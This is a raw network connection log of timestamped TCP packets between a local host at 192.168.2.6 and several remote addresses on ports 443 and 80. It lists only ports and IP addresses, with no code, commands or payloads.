Nov 19, 2024 01:01:32.604506969 CET	49832	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.604918957 CET	49832	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.604934931 CET	443	49832	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.819031954 CET	49833	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:32.819058895 CET	443	49833	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:32.819202900 CET	49833	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:32.819986105 CET	49833	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:32.819998026 CET	443	49833	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:32.902147055 CET	443	49826	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.902679920 CET	49826	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.902702093 CET	443	49826	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.903404951 CET	49826	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.903414965 CET	443	49826	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.958412886 CET	443	49827	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.959012985 CET	49827	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.959021091 CET	443	49827	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:32.959618092 CET	49827	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:32.959621906 CET	443	49827	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.046147108 CET	443	49826	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.046202898 CET	443	49826	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.046260118 CET	49826	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.046565056 CET	49826	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.046565056 CET	49826	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.046578884 CET	443	49826	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.046586990 CET	443	49826	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.050412893 CET	49834	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.050445080 CET	443	49834	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.051059961 CET	49834	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.051359892 CET	49834	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.051373959 CET	443	49834	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.052318096 CET	49835	443	192.168.2.6	142.250.181.238
Nov 19, 2024 01:01:33.052344084 CET	443	49835	142.250.181.238	192.168.2.6
Nov 19, 2024 01:01:33.052437067 CET	49835	443	192.168.2.6	142.250.181.238
Nov 19, 2024 01:01:33.052788019 CET	49835	443	192.168.2.6	142.250.181.238
Nov 19, 2024 01:01:33.052800894 CET	443	49835	142.250.181.238	192.168.2.6
Nov 19, 2024 01:01:33.052917957 CET	443	49828	184.28.90.27	192.168.2.6
Nov 19, 2024 01:01:33.052983046 CET	49828	443	192.168.2.6	184.28.90.27
Nov 19, 2024 01:01:33.054138899 CET	49828	443	192.168.2.6	184.28.90.27
Nov 19, 2024 01:01:33.054141998 CET	443	49828	184.28.90.27	192.168.2.6
Nov 19, 2024 01:01:33.054464102 CET	443	49828	184.28.90.27	192.168.2.6
Nov 19, 2024 01:01:33.055524111 CET	49828	443	192.168.2.6	184.28.90.27
Nov 19, 2024 01:01:33.103332043 CET	443	49828	184.28.90.27	192.168.2.6
Nov 19, 2024 01:01:33.108354092 CET	443	49827	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.108407974 CET	443	49827	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.108469963 CET	49827	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.108696938 CET	49827	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.108704090 CET	443	49827	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.108714104 CET	49827	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.108717918 CET	443	49827	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.111623049 CET	49836	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.111675978 CET	443	49836	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.111830950 CET	49836	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.111984015 CET	49836	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.112000942 CET	443	49836	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.129590988 CET	80	49824	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:33.129705906 CET	49824	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:33.238192081 CET	443	49830	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.243331909 CET	49830	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.243355036 CET	443	49830	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.245105982 CET	49830	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.245111942 CET	443	49830	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.298445940 CET	49824	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:33.302407980 CET	443	49828	184.28.90.27	192.168.2.6
Nov 19, 2024 01:01:33.302474976 CET	443	49828	184.28.90.27	192.168.2.6
Nov 19, 2024 01:01:33.302516937 CET	49828	443	192.168.2.6	184.28.90.27
Nov 19, 2024 01:01:33.304003000 CET	49828	443	192.168.2.6	184.28.90.27
Nov 19, 2024 01:01:33.304013968 CET	443	49828	184.28.90.27	192.168.2.6
Nov 19, 2024 01:01:33.304023027 CET	49828	443	192.168.2.6	184.28.90.27
Nov 19, 2024 01:01:33.304027081 CET	443	49828	184.28.90.27	192.168.2.6
Nov 19, 2024 01:01:33.305260897 CET	80	49824	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:33.367480040 CET	49835	443	192.168.2.6	142.250.181.238
Nov 19, 2024 01:01:33.367507935 CET	49773	443	192.168.2.6	142.250.74.196
Nov 19, 2024 01:01:33.378550053 CET	443	49830	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.378602982 CET	443	49830	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.378858089 CET	49830	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.380543947 CET	49830	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.380562067 CET	443	49830	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.380642891 CET	49830	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.380650043 CET	443	49830	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.383795977 CET	443	49832	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.384169102 CET	49837	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.384197950 CET	443	49837	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.384237051 CET	49832	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.384263039 CET	49837	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.384288073 CET	443	49832	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.384377956 CET	49837	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.384387970 CET	443	49837	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.385871887 CET	49832	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.385885954 CET	443	49832	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.525295019 CET	443	49832	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.525355101 CET	443	49832	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.528327942 CET	49832	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.529531002 CET	49832	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.529552937 CET	443	49832	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.529567003 CET	49832	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.529576063 CET	443	49832	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.533617020 CET	49838	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.533658981 CET	443	49838	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.533720016 CET	49838	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.533868074 CET	49838	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.533885002 CET	443	49838	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.831975937 CET	443	49834	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.832542896 CET	49834	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.832583904 CET	443	49834	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.834714890 CET	49834	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.834728956 CET	443	49834	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.868361950 CET	443	49836	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.869158030 CET	49836	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.869170904 CET	443	49836	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.869996071 CET	49836	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.870001078 CET	443	49836	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.899730921 CET	443	49825	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.900260925 CET	49825	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.900278091 CET	443	49825	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.900742054 CET	49825	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.900747061 CET	443	49825	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.946662903 CET	443	49833	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:33.946787119 CET	49833	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:33.952775955 CET	49833	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:33.952789068 CET	443	49833	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:33.953125000 CET	443	49833	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:33.955092907 CET	49833	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:33.955235004 CET	49833	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:33.955240965 CET	443	49833	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:33.955343962 CET	49833	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:33.973954916 CET	443	49834	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.974014044 CET	443	49834	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.974081039 CET	49834	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.974318981 CET	49834	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.974318981 CET	49834	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.974349976 CET	443	49834	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.974386930 CET	443	49834	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.977420092 CET	49839	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.977464914 CET	443	49839	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:33.977530003 CET	49839	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.977669001 CET	49839	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:33.977689028 CET	443	49839	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.003328085 CET	443	49833	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:34.006762028 CET	443	49836	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.006815910 CET	443	49836	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.007005930 CET	49836	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.007006884 CET	49836	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.007044077 CET	49836	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.007066011 CET	443	49836	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.009633064 CET	49840	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.009651899 CET	443	49840	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.009718895 CET	49840	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.009826899 CET	49840	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.009840965 CET	443	49840	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.039930105 CET	443	49825	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.040019989 CET	443	49825	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.040257931 CET	49825	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.040297985 CET	49825	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.040307999 CET	443	49825	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.040319920 CET	49825	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.040324926 CET	443	49825	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.043241024 CET	49841	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.043309927 CET	443	49841	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.043410063 CET	49841	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.043606997 CET	49841	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.043638945 CET	443	49841	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.073582888 CET	80	49824	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:34.073709011 CET	49824	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:34.157182932 CET	443	49837	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.157861948 CET	49837	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.157892942 CET	443	49837	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.158276081 CET	49837	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.158283949 CET	443	49837	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.205687046 CET	443	49833	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:34.206351042 CET	49833	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:34.206372976 CET	443	49833	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:34.206568956 CET	49833	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:34.297147989 CET	443	49837	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.297171116 CET	443	49837	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.297243118 CET	49837	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.297249079 CET	443	49837	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.297296047 CET	49837	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.297480106 CET	49837	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.297480106 CET	49837	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.297494888 CET	443	49837	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.297506094 CET	443	49837	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.301234007 CET	49842	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.301250935 CET	443	49842	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.301382065 CET	49842	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.301806927 CET	49842	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.301817894 CET	443	49842	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.308058023 CET	443	49838	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.308473110 CET	49838	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.308504105 CET	443	49838	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.308964968 CET	49838	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.308971882 CET	443	49838	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.449659109 CET	443	49838	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.450064898 CET	443	49838	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.450131893 CET	49838	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.457484961 CET	49838	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.457509995 CET	443	49838	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.457525969 CET	49838	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.457534075 CET	443	49838	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.463560104 CET	49843	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.463637114 CET	443	49843	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.463820934 CET	49843	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.465498924 CET	49843	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.465533018 CET	443	49843	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.738601923 CET	443	49839	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.755784988 CET	49839	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.755815983 CET	443	49839	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.756514072 CET	49839	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.756521940 CET	443	49839	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.779198885 CET	443	49840	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.786252022 CET	49840	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.786268950 CET	443	49840	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.787075996 CET	49840	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.787080050 CET	443	49840	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.810739040 CET	443	49841	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.813324928 CET	49841	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.813374043 CET	443	49841	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.813849926 CET	49841	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.813862085 CET	443	49841	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.901958942 CET	443	49839	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.902024984 CET	443	49839	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.902132988 CET	443	49839	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.902195930 CET	49839	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.913815975 CET	49839	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.913836956 CET	443	49839	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.927212954 CET	443	49840	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.927330971 CET	443	49840	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.927387953 CET	49840	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.954487085 CET	443	49841	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.954562902 CET	443	49841	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.954622030 CET	49841	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.958622932 CET	49840	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.958633900 CET	443	49840	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.958642960 CET	49840	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.958647013 CET	443	49840	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.971458912 CET	49841	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.971520901 CET	443	49841	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.971610069 CET	49841	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.971627951 CET	443	49841	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.980850935 CET	49844	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.980885983 CET	443	49844	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:34.980957031 CET	49844	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.985650063 CET	49844	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:34.985671043 CET	443	49844	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.006962061 CET	49845	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.006988049 CET	443	49845	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.007266998 CET	49845	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.038847923 CET	49845	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.038870096 CET	443	49845	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.040380001 CET	49846	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.040421009 CET	443	49846	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.040498018 CET	49846	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.040688992 CET	49846	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.040709019 CET	443	49846	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.075392008 CET	443	49842	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.096379995 CET	49842	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.096416950 CET	443	49842	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.097371101 CET	49842	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.097378969 CET	443	49842	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.240081072 CET	443	49842	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.240475893 CET	443	49842	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.240529060 CET	49842	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.250370979 CET	443	49843	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.259044886 CET	49842	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.259064913 CET	443	49842	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.259135008 CET	49842	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.259144068 CET	443	49842	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.281239986 CET	49843	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.281294107 CET	443	49843	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.281694889 CET	49843	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.281712055 CET	443	49843	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.418442965 CET	443	49843	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.418487072 CET	443	49843	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.418533087 CET	443	49843	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.418592930 CET	49843	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.484333038 CET	49843	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.484348059 CET	443	49843	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.484380007 CET	49843	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.484394073 CET	443	49843	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.511868000 CET	49847	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.511893034 CET	443	49847	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.512021065 CET	49847	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.523047924 CET	49847	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.523061037 CET	443	49847	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.544157028 CET	49848	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.544181108 CET	443	49848	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.544248104 CET	49848	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.544399023 CET	49848	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.544409990 CET	443	49848	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.749346972 CET	443	49844	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.755382061 CET	49844	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.755405903 CET	443	49844	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.755884886 CET	49844	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.755891085 CET	443	49844	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.821058035 CET	443	49845	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.824547052 CET	443	49846	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.862287045 CET	49845	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.874394894 CET	49845	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.874404907 CET	443	49845	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.874861002 CET	49845	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.874866009 CET	443	49845	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.875092030 CET	49846	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.875113010 CET	443	49846	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.875458956 CET	49846	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.875466108 CET	443	49846	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.891160965 CET	443	49844	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.891393900 CET	443	49844	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.891455889 CET	49844	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.960279942 CET	49844	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.960297108 CET	443	49844	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:35.960319042 CET	49844	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:35.960325956 CET	443	49844	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.012829065 CET	443	49845	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.013619900 CET	443	49845	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.013684034 CET	49845	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.015573025 CET	443	49846	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.015913010 CET	443	49846	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.015974998 CET	49846	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.255213976 CET	49846	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.255247116 CET	443	49846	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.255264997 CET	49846	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.255273104 CET	443	49846	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.320478916 CET	443	49848	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.362699986 CET	49848	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.384816885 CET	49845	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.384824991 CET	443	49845	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.384838104 CET	49845	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.384843111 CET	443	49845	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.437820911 CET	49848	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.437838078 CET	443	49848	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.438637018 CET	49848	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.438646078 CET	443	49848	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.577346087 CET	443	49848	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.577402115 CET	443	49848	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.577639103 CET	49848	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.631069899 CET	443	49847	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.664375067 CET	49848	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.664400101 CET	443	49848	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.664412975 CET	49848	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.664418936 CET	443	49848	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.674715042 CET	49847	443	192.168.2.6	13.107.246.45
